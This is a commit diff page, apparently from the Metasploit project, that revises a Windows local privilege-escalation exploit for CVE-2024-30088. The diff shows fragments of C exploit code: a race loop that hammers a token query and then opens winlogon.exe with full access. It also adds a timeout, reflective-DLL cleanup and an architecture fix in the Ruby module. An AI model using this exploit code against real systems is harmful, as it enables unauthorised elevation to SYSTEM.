Skip to content

Commit 6689614

Browse files
committed
Responded to comments
1 parent 31348da commit 6689614

File tree

7 files changed

+22
-2
lines changed

7 files changed

+22
-2
lines changed
-512 Bytes
Binary file not shown.

external/source/exploits/CVE-2024-30088/CVE-2024-30088/CVE-2024-30088.vcxproj

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -223,9 +223,11 @@
223223
<ItemGroup>
224224
<ClCompile Include="dllmain.c" />
225225
<ClCompile Include="exploit.c" />
226+
<ClCompile Include="ReflectiveFreeAndExitThread.c" />
226227
</ItemGroup>
227228
<ItemGroup>
228229
<ClInclude Include="exploit.h" />
230+
<ClInclude Include="ReflectiveFreeAndExitThread.h" />
229231
</ItemGroup>
230232
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
231233
<ImportGroup Label="ExtensionTargets">

external/source/exploits/CVE-2024-30088/CVE-2024-30088/ReflectiveFreeAndExitThread.c

Whitespace-only changes.
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#ifndef _METERPRETER_SOURCE_REFLECTIVE_FREE_AND_EXIT_THREAD_H
2+
#define _METERPRETER_SOURCE_REFLECTIVE_FREE_AND_EXIT_THREAD_H
3+
4+
#include <windows.h>
5+
6+
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode);
7+
8+
#endif

external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ HANDLE exploit();
1212
int main(LPVOID address) {
1313
HANDLE winlogon_handle = exploit();
1414
*(HANDLE*)address = winlogon_handle;
15+
ReflectiveFreeAndExitThread(hAppInstance, 0);
1516
return 1;
1617
}
1718

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.c

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -99,11 +99,12 @@ HANDLE exploit() {
9999

100100
HANDLE hWinLogon = INVALID_HANDLE_VALUE;
101101
ULONG pid = GetPidByName("winlogon.exe");
102+
DWORD time1 = GetTickCount();
103+
102104
while (1) {
103105
HANDLE h = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)RaceThread, 0, 0, 0);
104106
SetThreadPriority(h, THREAD_PRIORITY_TIME_CRITICAL);
105107

106-
//DebugBreak();
107108
for (int i = 0; i < 5000; i++)
108109
pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
109110

@@ -112,6 +113,12 @@ HANDLE exploit() {
112113
hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
113114
if (hWinLogon)
114115
break;
116+
117+
DWORD time2 = GetTickCount();
118+
if ((time2 - time1) >= (60 * 5 * 1000)) {
119+
printf("Timeout reached, exiting loop.\n");
120+
break;
121+
}
115122
}
116123

117124
return hWinLogon;

modules/exploits/windows/local/cve_2024_30088_authz_basep.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def initialize(info = {})
4343
'Platform' => 'win',
4444
'Privileged' => true,
4545
'SessionTypes' => [ 'meterpreter' ],
46-
'Arch' => [ ARCH_CMD ],
46+
'Arch' => [ ARCH_X64 ],
4747
'Targets' => [
4848
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
4949
],
@@ -137,6 +137,8 @@ def get_winlogon_handle
137137
if current_memory != initial_memory
138138
winlogon_handle = current_memory.unpack('Q<').first
139139
end
140+
141+
session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)
140142
winlogon_handle
141143
end
142144

0 commit comments

Comments
 (0)